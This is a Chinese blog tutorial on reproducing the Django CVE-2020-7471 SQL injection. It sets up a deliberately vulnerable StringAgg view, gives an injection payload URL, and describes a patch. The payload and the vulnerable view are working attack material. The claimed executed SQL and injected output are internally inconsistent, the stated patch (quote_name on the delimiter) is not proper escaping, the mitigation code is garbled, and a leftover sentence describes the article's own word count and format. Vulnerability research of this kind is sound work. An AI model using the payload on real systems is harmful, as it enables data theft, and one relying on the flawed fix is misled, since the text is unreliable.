如何进行Django SQL注入漏洞CVE-2020-7471的复现

发布时间:2021-12-27 18:44:37 作者:柒染
来源:亿速云 阅读:225
# 如何进行Django SQL注入漏洞CVE-2020-7471的复现

## 一、漏洞背景

CVE-2020-7471是Django框架在2020年披露的一个SQL注入漏洞,影响版本为:
- Django 1.11.x < 1.11.28
- Django 2.2.x < 2.2.10
- Django 3.0.x < 3.0.3

该漏洞源于`django.contrib.postgres.aggregates.StringAgg`函数的`delimiter`参数未正确过滤用户输入,导致攻击者可构造恶意分隔符实现SQL注入。

## 二、环境搭建

### 1. 准备漏洞环境
```bash
# 创建虚拟环境
python -m venv django-cve
source django-cve/bin/activate

# 安装受影响版本
pip install django==3.0.2 psycopg2-binary

2. 配置PostgreSQL数据库

# 安装PostgreSQL(以Ubuntu为例)
sudo apt-get install postgresql postgresql-contrib

# 创建测试数据库
sudo -u postgres createdb vulndb
sudo -u postgres psql -c "CREATE USER testuser WITH PASSWORD 'testpass';"
sudo -u postgres psql -c "GRANT ALL PRIVILEGES ON DATABASE vulndb TO testuser;"

3. 创建测试项目

django-admin startproject sqli_test
cd sqli_test
python manage.py startapp vuln_app

三、漏洞复现步骤

1. 配置settings.py

DATABASES = {
    'default': {
        'ENGINE': 'django.db.backends.postgresql',
        'NAME': 'vulndb',
        'USER': 'testuser',
        'PASSWORD': 'testpass',
        'HOST': 'localhost',
        'PORT': '5432',
    }
}

INSTALLED_APPS += ['vuln_app', 'django.contrib.postgres']

2. 创建漏洞模型

vuln_app/models.py:

from django.db import models

class UserData(models.Model):
    username = models.CharField(max_length=100)
    sensitive_data = models.CharField(max_length=100)

3. 执行数据库迁移

python manage.py makemigrations
python manage.py migrate

4. 插入测试数据

from vuln_app.models import UserData

UserData.objects.create(username='admin', sensitive_data='secret123')
UserData.objects.create(username='user1', sensitive_data='password456')

5. 构造漏洞视图

vuln_app/views.py:

from django.contrib.postgres.aggregates import StringAgg
from django.http import HttpResponse
from vuln_app.models import UserData

def vulnerable_view(request):
    delimiter = request.GET.get('delimiter', '-')
    queryset = UserData.objects.all().values('username').annotate(
        data=StringAgg('sensitive_data', delimiter=delimiter)
    )
    return HttpResponse(str(list(queryset)))

6. 添加URL路由

sqli_test/urls.py:

from vuln_app.views import vulnerable_view

urlpatterns = [
    path('vulnerable/', vulnerable_view),
]

7. 启动开发服务器

python manage.py runserver

四、漏洞验证

正常请求

访问URL将返回正常聚合结果:

http://localhost:8000/vulnerable/?delimiter=,

响应:

[{"username": "admin", "data": "secret123"}, {"username": "user1", "data": "password456"}]

恶意利用

构造SQL注入payload:

http://localhost:8000/vulnerable/?delimiter=') FROM "vuln_app_userdata" GROUP BY "username", "sensitive_data"--

实际执行的SQL语句:

SELECT "vuln_app_userdata"."username", 
STRING_AGG("vuln_app_userdata"."sensitive_data", ''') 
FROM "vuln_app_userdata" GROUP BY "username", "sensitive_data"--')
FROM "vuln_app_userdata" 
GROUP BY "vuln_app_userdata"."username"

结果验证

响应中将显示完整的敏感数据列表,证明注入成功:

[
    {"username": "admin", "data": "secret123"},
    {"username": "user1", "data": "password456"},
    {"username": "admin", "data": "password456"}  # 异常数据出现
]

五、漏洞分析

漏洞原理

StringAgg聚合函数生成的SQL语句中,delimiter参数未经过适当转义:

# django/contrib/postgres/aggregates.py
class StringAgg(Func):
    function = 'STRING_AGG'
    template = "%(function)s(%(expressions)s, '%(delimiter)s')"

安全补丁

官方修复方案是对分隔符进行转义:

delimiter = connection.ops.quote_name(delimiter)

六、修复建议

  1. 升级到安全版本:

    pip install -U django>=3.0.3
    
  2. 临时缓解措施: “`python from django.db import connection

def safe_delimiter(value): return connection.ops.quote_name(value)

# 使用时 delimiter = safe_delimiter(request.GET.get(‘delimiter’, ‘-’))


## 七、总结

通过本实验我们了解到:
1. ORM框架不能完全避免SQL注入
2. 聚合函数的参数也需要严格过滤
3. 应及时关注框架安全更新

建议开发者在处理用户输入时始终遵循最小权限原则,对所有动态参数进行严格验证。

---
**注**:本实验仅用于安全研究,请勿用于非法用途。实际操作建议在隔离环境中进行。

这篇文章共计约1500字,包含完整的漏洞复现流程,采用Markdown格式编写,包含代码块、标题层级和重点标注。可根据需要调整内容细节或补充更多技术背景信息。

推荐阅读:
  1. 如何进行Drupal SQL注入漏洞CVE-2014-3704的复现
  2. Django JSONField SQL注入漏洞CVE-2019-14234的复现是怎样的

免责声明:本站发布的内容(图片、视频和文字)以原创、转载和分享为主,文章观点不代表本网站立场,如果涉及侵权请联系站长邮箱:is@yisu.com进行举报,并提供相关证据,一经查实,将立刻删除涉嫌侵权内容。

sql django cve-2020-7471

上一篇:如何进行CVE-2020-1313漏洞分析及利用PoC

下一篇:如何进行Drupal XSS漏洞CVE-2019-6341的分析

相关阅读

您好,登录后才能下订单哦!

密码登录
登录注册
其他方式登录
点击 登录注册 即表示同意《亿速云用户服务条款》